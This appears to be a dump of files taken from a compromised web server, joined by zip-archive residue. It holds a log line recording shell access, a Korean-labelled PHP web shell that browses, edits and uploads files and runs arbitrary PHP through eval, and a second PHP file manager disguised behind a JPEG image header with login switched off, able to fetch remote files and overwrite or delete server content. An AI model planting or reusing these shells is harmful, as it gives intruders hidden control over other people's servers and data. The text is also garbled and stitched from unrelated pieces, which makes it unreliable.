<form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" class="upload-form">
<input type="file" name="file" required>
<button class="btn btn-success" type="submit">📤 Upload</button>
</form>
<!-- Create Folder Form -->
<form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" class="folder-form">
<input type="text" name="folder_name" placeholder="New Folder Name" required>
<button class="btn btn-success" type="submit">📁 Create Folder</button>
</form>
</div>
</div>
<div class="breadcrumb">
<a href="?action=list&dir=">Root</a>
<?php foreach($dir_parts as $p): ?>
<span>›</span>
<a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
<?php endforeach; ?>
</div>
<?php
$files = get_file_list($current_dir);
if(empty($files)):
?>
<div class="empty-folder">
<i>📭</i>
<h3>This folder is empty</h3>
<p>Upload files or create new folders to get started</p>
</div>
<?php else: ?>
<table class="file-table">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach($files as $f): ?>
<tr class="<?= $f['type'] === 'directory' ? 'folder-row' : '' ?>">
<td>
<span class="file-icon">
<?= $f['type'] === 'directory' ? '📁' : '📄' ?>
</span>
<?= htmlspecialchars($f['name']) ?>
</td>
<td><?= $f['type'] ?></td>
<td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
<td><?= $f['modified'] ?></td>
<td>
<div class="action-buttons">
<?php if($f['type'] === 'directory'):
$next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
?>
<a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">
📂 Open
</a>
<?php else: ?>
<a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">
✏️ Edit
</a>
<a class="btn btn-secondary" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">
📥 Download
</a>
<?php endif; ?>
<a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>"
onclick="return confirm('Are you sure you want to delete <?= htmlspecialchars($f['name']) ?>?')">
🗑️ Delete
</a>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
</div>
<script>
// Add some interactive features
document.addEventListener('DOMContentLoaded', function() {
// Add confirmation for delete actions
const deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
deleteLinks.forEach(link => {
link.addEventListener('click', function(e) {
if (!confirm('Are you sure you want to delete this item?')) {
e.preventDefault();
}
});
});
// Add hover effects
const rows = document.querySelectorAll('.file-table tr');
rows.forEach(row => {
row.addEventListener('mouseenter', function() {
this.style.transform = 'translateX(5px)';
this.style.transition = 'transform 0.2s ease';
});
row.addEventListener('mouseleave', function() {
this.style.transform = 'translateX(0)';
});
});
});
</script>
</body>
</html>PK uPm\���� � about.PHPnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>E86AEB3YH7W1P4Y5</RequestId><HostId>lrT/cgm+Df6NUHZTiiTUL5UabL2kw55Ziu+sz+x1XScfRFozYLyC3JOXz7PWUe+rTZPAVevtDZA=</HostId></Error>PK uPm\�$� � samurai_activity.lognu �[��� [2026-03-13 08:09:32] IP: 216.73.216.181 | Action: Shell Accessed | Target: 216.73.216.181 | Status: info | UA: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c
PK uPm\���� � p71yj.phpnu �[��� <!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>관리-도구</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #000;
color: #fff;
margin: 0;
padding: 0;
}
#container {
max-width: 800px;
margin: 20px auto;
padding: 20px;
border: 1px solid #444;
border-radius: 5px;
background-color: #222;
}
h1, h2, h3 {
color: #bbb;
}
ul {
list-style-type: none;
padding: 0;
}
li {
margin-bottom: 10px;
}
a {
text-decoration: none;
color: #1e90ff;
}
input, textarea {
background-color: #333;
color: #fff;
border: 1px solid #555;
padding: 5px;
width: 100%;
margin-bottom: 10px;
}
input[type="submit"] {
cursor: pointer;
}
hr {
border: 0;
height: 1px;
background-color: #444;
}
textarea {
height: 150px;
}
</style>
</head>
<body>
<div id="container">
<h1>관리-도구</h1>
<?php
function 클린($데이터) {
return htmlspecialchars(strip_tags($데이터));
}
function 파일크기($바이트) {
$단위 = ['B', 'KB', 'MB', 'GB', 'TB'];
if ($바이트 == 0) return '0 B'; // Tambahan untuk file 0KB
$지수 = floor(log($바이트, 1024));
return @round($바이트 / pow(1024, $지수), 2) . ' ' . $단위[$지수];
}
function 탐색($경로) {
$경로 = str_replace('\\', '/', $경로);
$부분들 = explode('/', $경로);
$결과 = [];
foreach ($부분들 as $인덱스 => $부분) {
if ($부분 === '' && $인덱스 === 0) {
$결과[] = '<a href="?경로=/">/</a>';
continue;
}
if ($부분 === '') continue;
$결과[] = '<a href="?경로=';
for ($i = 0; $i <= $인덱스; $i++) {
$결과[] = $부분들[$i];
if ($i != $인덱스) $결과[] = "/";
}
$결과[] = '">' . $부분 . '</a>/';
}
return implode('', $결과);
}
function 내용보기($경로) {
$목록 = @scandir($경로) ?: [];
$폴더 = [];
$파일들 = [];
foreach ($목록 as $항목) {
if ($항목 === '.' || $항목 === '..') continue;
$전체경로 = $경로 . '/' . $항목;
// Cek apakah direktori atau file
if (@is_dir($전체경로)) {
$폴더[] = '<li><strong>폴더:</strong> <a href="?경로=' . urlencode($전체경로) . '">' . $항목 . '</a></li>';
} else {
$파일크기 = @filesize($전체경로);
$크기 = ($파일크기 === false || $파일크기 === 0) ? '0 B' : 파일크기($파일크기); // Tangani 0KB file
$파일들[] = '<li><strong>파일:</strong> <a href="?작업=편집&파일=' . urlencode($항목) . '&경로=' . urlencode($경로) . '">' . $항목 . '</a> (' . $크기 . ')</li>';
}
}
echo '<ul>';
echo implode('', $폴더);
if (!empty($폴더) && !empty($파일들)) echo '<hr>';
echo implode('', $파일들);
echo '</ul>';
}
function 파일편집($파일경로) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['파일내용'])) {
$내용 = $_POST['파일내용'];
if (@file_put_contents($파일경로, $내용) !== false) {
echo "파일 저장 성공.";
} else {
echo "파일 저장 실패.";
}
}
$내용 = @file_get_contents($파일경로) ?: '';
echo '<form method="post">';
echo '<textarea name="파일내용">' . htmlspecialchars($내용) . '</textarea><br>';
echo '<input type="submit" value="저장">';
echo '</form>';
}
function 파일업로드($경로, $파일) {
$목적지 = $경로 . '/' . basename($파일['name']);
if (@move_uploaded_file($파일['tmp_name'], $목적지)) {
echo "파일 업로드 성공: " . htmlspecialchars($파일['name']);
} else {
echo "파일 업로드 실패.";
}
}
function PHP실행($코드) {
try {
ob_start();
eval($코드);
$output = ob_get_clean();
echo '<div style="background-color:#333; padding:10px;">' . htmlspecialchars($output) . '</div>';
} catch (Throwable $e) {
echo "오류: " . htmlspecialchars($e->getMessage());
}
}
$경로 = $_GET['경로'] ?? getcwd();
if (isset($_GET['작업']) && $_GET['작업'] === '편집' && isset($_GET['파일'])) {
$파일 = $_GET['파일'];
$파일경로 = $경로 . '/' . $파일;
if (@file_exists($파일경로)) {
echo "<h2>편집 파일: $파일</h2>";
파일편집($파일경로);
} else {
echo "파일이 존재하지 않습니다.";
}
} else {
echo "<h2>경로: " . htmlspecialchars($경로) . "</h2>";
echo "<p>" . 탐색($경로) . "</p>";
echo "<h3>폴더 내용:</h3>";
내용보기($경로);
echo '<hr>';
echo '<h3>파일 업로드:</h3>';
echo '<form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="파일"><br>';
echo '<input type="submit" value="업로드">';
echo '</form>';
echo '<h3>PHP 코드 실행:</h3>';
echo '<form method="post">';
echo '<textarea name="PHP코드"></textarea><br>';
echo '<input type="submit" value="실행">';
echo '</form>';
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['파일'])) {
파일업로드($경로, $_FILES['파일']);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['PHP코드'])) {
echo '<h3>결과:</h3>';
PHP실행($_POST['PHP코드']);
}
?>
</div>
</body>
</html>
PK uPm\|�Y E� E� p20xj.phpnu �[��� ÿØÿà JFIF ,, AMPFÿá&ÿExif MM * ž ¤ ² º( 1 Â2 Ê< Þ ‡i ìˆ%
x
®Apple iPhone 13 Pro H H 17.1.2 2024:02:20 17:25:01 iPhone 13 Pro %‚š ®‚ ¶ˆ" ˆ' } 0232 ¾ Ò æ î ö‘ ’
þ’ ’
<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';
define('VERSION', '3.9');
define('APP_TITLE', 'swallowable');
$dauth = false;
$auth_users = array(
'admin' => '2e35b702f2cd5011321dbea58cd4700c',
'user' => '2e35b702f2cd5011321dbea58cd4700c'
);
$readonly_users = array(
'user'
);
$global_readonly = false;
$directories_users = array();
$use_highlightjs = true;
$highlightjs_style = 'vs';
$edit_files = true;
$default_timezone = 'Etc/UTC';
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];
$iconv_input_encoding = 'UTF-8';
$datetime_format = 'm/d/Y g:i A';
$path_display_mode = 'full';
$allowed_file_extensions = '';
$allowed_upload_extensions = '';
$favicon_path = '';
$exclude_items = array();
$online_viewer = 'google';
$sticky_navbar = true;
$max_upload_size_bytes = 5000000000;
$upload_chunk_size_bytes = 2000000;
$ip_ruleset = 'OFF';
$ip_silent = true;
$ip_whitelist = array(
'127.0.0.1',
'::1'
);
$ip_blacklist = array(
'0.0.0.0',
'::'
);
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
$external = array(
'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);
if ( !defined( 'DN_CESSION_ID')) {
define('DN_CESSION_ID', 'filemanager');
}
$cfg = new FM_Config();
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
if (defined('FM_EMBED')) {
$dauth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('nocache');
session_name(DN_CESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($_SESSION['token'])) {
if (function_exists('random_bytes')) {
$_SESSION['token'] = bin2hex(random_bytes(32));
} else {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
}
if (empty($auth_users)) {
$dauth = false;
}
$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}
$root_url = fm_clean_path($root_url);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[DN_CESSION_ID]['logged']);
unset( $_SESSION['token']);
fm_redirect(FM_SELF_URL);
}
if ($ip_ruleset != 'OFF') {
function getClientIP() {
if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
}else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER['REMOTE_ADDR'];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER['HTTP_CLIENT_IP'];
}
return '';
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true and $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
if ($dauth) {
if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
$_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL);
} else {
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="mb-3">
<div class="brand">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
<g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
<path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
<path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
</svg>
</div>
<div class="text-center">
<h1 class="card-title"><?php echo APP_TITLE; ?></h1>
</div>
</div>
<hr />
<div class="mb-3">
<label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="mb-3">
<label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="mb-3">
<?php fm_show_message(); ?>
</div>
<input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
<div class="mb-3">
<button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
<div class="footer text-center">
—— ©
<a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> ——
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
if (!isset($_GET['p']) and empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
header('HTTP/1.0 401 Unauthorized');
die("Invalid Token.");
}
if(isset($_POST['type']) and $_POST['type']=="search") {
$dir = $_POST['path'] == "." ? '': $_POST['path'];
$response = scan(fm_clean_path($dir), $_POST['content']);
echo json_encode($response);
exit();
}
// save editor file
if (isset($_POST['type']) and $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
// backup files
if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
$fileName = fm_clean_path($_POST['file']);
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) and $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, strtok(get_file_path(), '?'));
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
fm_set_msg(sprintf($msg, fanco($del)));
} else {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
fm_set_msg(sprintf($msg, fanco($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
$type = urldecode($_POST['newfile']);
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($type == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
